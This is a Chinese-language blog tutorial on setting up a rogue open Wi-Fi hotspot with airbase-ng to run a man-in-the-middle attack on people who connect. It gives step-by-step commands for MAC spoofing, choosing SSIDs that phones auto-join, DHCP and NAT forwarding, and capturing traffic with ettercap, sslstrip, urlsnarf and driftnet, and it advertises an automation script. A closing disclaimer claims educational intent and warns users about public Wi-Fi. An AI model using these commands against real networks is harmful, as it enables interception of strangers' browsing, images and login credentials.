airbase-ng建立SoftAP進行嗅探的步驟詳解以及自動實現腳本

   利用airbase-ng建立Soft AP,再利用一些常見工具進行嗅探,或對抓包進行分析是出現比較早的一種MITM***方法。網上有很多關於手動實現的文章,也有一些自動實現腳本。這些腳本通常分兩類,一類是一步一步讓用戶輸入接口、選項什麼的,最後再運行,每一次啓動都要重複輸入很多數據,低效且不爽。第二類是自動運行的,但可選項比較少,不符合自己的使用習慣。所以,在學習過程中自己寫了一個自動實現腳本。

   建立Soft AP可使用airbase-ng和hostapd,其中前者需要網卡支持monitor模式,是比較常用的工具,但僅支持OPN和WEP的,不支持WPA加密,不挑網卡,常見的RTL8187L既可。第二個是hostapd,需要網卡支持AP模式,8187L就用不了了,rt3070可以使用,支持建立OPN/WEP/WPA各種SoftAP。本文介紹基於airbase-ng的實現,畢竟這是個輕量級且各種hack可選項較多的常用工具。

   建立soft Ap並進行嗅探,主要有如下4步:

   1.airbase-ng建立熱點

   2.dhcpd啓動dhcp服務

   3.iptables設置好轉發規則,使接入Soft AP客戶的數據可正常訪問互聯網

   4.啓動嗅探工具收集信息

   結束後,還可以對抓取的包進行後續分析。當然,中間還可以進行DNS劫持,僞造頁面進行釣魚,不在本文討論範圍。下面分步說。

準備工作:

  (1) 一臺電力比較持久的筆記本電腦,可以直接安裝kali linux,也可以在VMware中安裝kali。

  (2)一塊8187L網卡,山寨的就可以,性價比高,做工沒看出來比原裝的差在哪兒,只要保證中間芯片是真的就行。(下面照片中是原裝的)

  (3)天線:感覺7dbi的全向天線高度正好,再大就不方便了,而且9dbi的信號並未增強多少,反而損耗更大。方向性天線也不錯,7db方向性天線體積很小巧,據說明在聚焦方向上可達10dbi全向天線的作用距離,用於室內空間較狹長時合適。穿牆能力就不說了,鋼筋混凝土牆兩堵,基本就很難接收可用信號了。

   實測7dbi全向天線信號強度(無遮擋):65米處,-85dbm,50米處約-75dbm,10米之內信號穩定在-35dbm左右。該值非常粗略,僅供參考。一般能夠正常通信的下限是-90dbm,上網的話要求更高。當然,信號強度也和接收裝置的天線有關,不過總體上說,8187L加上7dbi的兩種天線基本夠用了,覆蓋一個公共場所不大室內空間沒問題。

wKiom1Myah_CtEMwAAS4fF8LwtE431.jpg

   (4)筆記本有internet網接入,用於將Fake AP接收的信息轉到internet上去,不多贅述。

   (5)啓動monitor模式,並僞造一下本機的網卡地址

airmon-ng start wlan1
ifconfig wlan1 down
macchanger –r wlan1
ifconfig wlan1 up
ifconfig mon0 down
macchanger –r mon0
ifconfig mon0 up


一、使用airbase-ng建立OPN的Soft AP

   airbase-ng主要用於建立OPN的AP,也就是不需要密碼的公開AP。WEP加密的已經很少見了,不支持WPA加密。這一步中,最關鍵的是AP的ssid,ssid決定了AP欺騙性,也就是被連接的可能性。現在手機、平板電腦的客戶端會自動記錄連接過的AP信息,保存在/data/misc/wifi/wpa_suppliant.conf中,每個熱點保存四個信息:ssid、psk(密碼)、key_mgmt(加密方式)、priority(優先級)。注意,其中不含網卡的硬件地址.所以,只需前三項對上,便可自動連接。

   手機wifi功能打開時,會不斷向外發送probe信息包,裏面包含ssid。可用airodump-ng查看當前網絡環境下有哪些被probe的ssid,供僞造ssid時參考。

   選定名稱後,便可使用airbase-ng建立Fake AP了:

airbase-ng $FAKE_AP_INTERFACE -e $FAKE_AP_ESSID -c


   airbase-ng運行成功後,ifconfig查看,會多出一個at0接口。


root@mKL:~# ifconfig
at0       Link encap:Ethernet  HWaddr xx:xx:xx:xx:xx:xx
inet addr:10.0.0.1  Bcast:10.0.0.255  Mask:255.255.255.0
…
eth0      Link encap:Ethernet  HWaddr xx:xx:xx:xx:xx:xx 
inet addr:10.10.10.138  Bcast:10.10.10.255  Mask:255.255.255.0
…


二、使用dhcpd啓動dhcp服務

   客戶端連接上SoftAP後,要給他們分配IP地址。這裏有一條最關鍵,就是SoftAP的IP地址和Internet接口的IP地址不能在網一個段。比如,連接Internet網的網卡eth0,地址是10.10.10.138/24,則at0的地址後面不能設置爲同一網段,這裏設置爲10.0.0.1/24。


   首先建立dhcpd.conf,內容包含dhcp服務運行的設置參數,關鍵代碼如下:


echo -n "[+]now creating dhcpd.conf..."
cat >$SESSION_PATH/dhcpd.conf<<-EOF
authoritative;
default-lease-time 6000;
max-lease-time 12000;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.30 10.0.0.60;
option routers 10.0.0.1;
option broadcast-address 10.0.0.255;
option subnet-mask 255.255.255.0;
option domain-name-servers 8.8.8.8;
allow unknown-clients;
}
EOF
echo "done"


   這些選項的意義就不一一介紹了,比較重要的時option routers,網關的設置,後續at0的地址要設置爲該網關地址。option domain-name-servers,設置DNS服務器地址,8.8.8.8是比較通用的值。

   接下來然後需要將SoftAP的接口,也就是airbase-ng創建的at0設置爲該網段的網關:

ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1500
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1


 接着啓動dhcp服務

dhcpd -d -f -cf $SESSION_PATH/dhcpd.conf at0


三、使用iptables設置轉發

   使用iptables設置轉發,將用戶連接SoftAP後的數據,轉發到internet上,是非常關鍵的一步。網上各種版本很多,其實最簡單的實現就一句指令:

iptables -t nat -A POSTROUTING --out-interface $FAKE_AP_INTERNET -j MASQUERADE    #$FAKE_AP_INTERNET是外網接口


   注意,轉發生效需要本機開啓ip_forward功能。指令是:

echo "1" > /proc/sys/net/ipv4/ip_forward


   由於後面運行ettercap時,會將該值再次變爲0,所以等ettercap運行後再執行上述命令。


四、運行各種嗅探工具

   SoftAP建立並運行dhcp服務後,客戶端就可以根據我們設定的規則連接上熱點並正常瀏覽網頁,運行各個程序了。接下來,就是針對Soft AP的接口at0,執行各種嗅探:

ettercap -Tzq -i $FAKE_AP_AT_INTERFACE -w $SESSION_PATH/etter.pcap -L $SESSION_PATH/etter
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $SSLSTRIP_PORT
sslstrip -pkf -l $SSLSTRIP_PORT -w $SESSION_PATH/sslstrip.log 2>/dev/null
urlsnarf -i $1 | grep http > $SESSION_PATH/url.txt
tail -f $SESSION_PATH/url.txt
driftnet -i $1 -d $SESSION_PATH/


    以上就是實現基於Soft AP的MITM***的幾個關鍵步驟。

    這裏提供一個自動執行腳本auto_opnAP.sh,最簡單的執行命令是:

auto_opnAP.sh -e xxxx -sud -i mon0 -n eth0


   運行界面如下圖所示:

wKiom1Myak6xFVz4AAg3SrTP6V4486.jpg

  總體上看,現在大多數手機客戶端在安全上都有考慮,用戶名、密碼以明文直接出現的不多,特別是大企業開發的工具,但還是有部分小企業的軟件在這方面不太重視。同時,儘管客戶端連接時對信息進行了加密,但用瀏覽器登錄時,由於遵循http協議,部分情況下用戶名和密碼更容易泄漏。所以,在公共場所使用免費WiFi時,還是要甄別熱點的真假,並儘量少進行關鍵操作。

  聲明:本文旨在討論原理,提高安全意識,提供的腳本也僅供學習交流,本文所有測試均在自家局域網絡測試,請勿非法使用。有好的修改建議,歡迎交流。


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章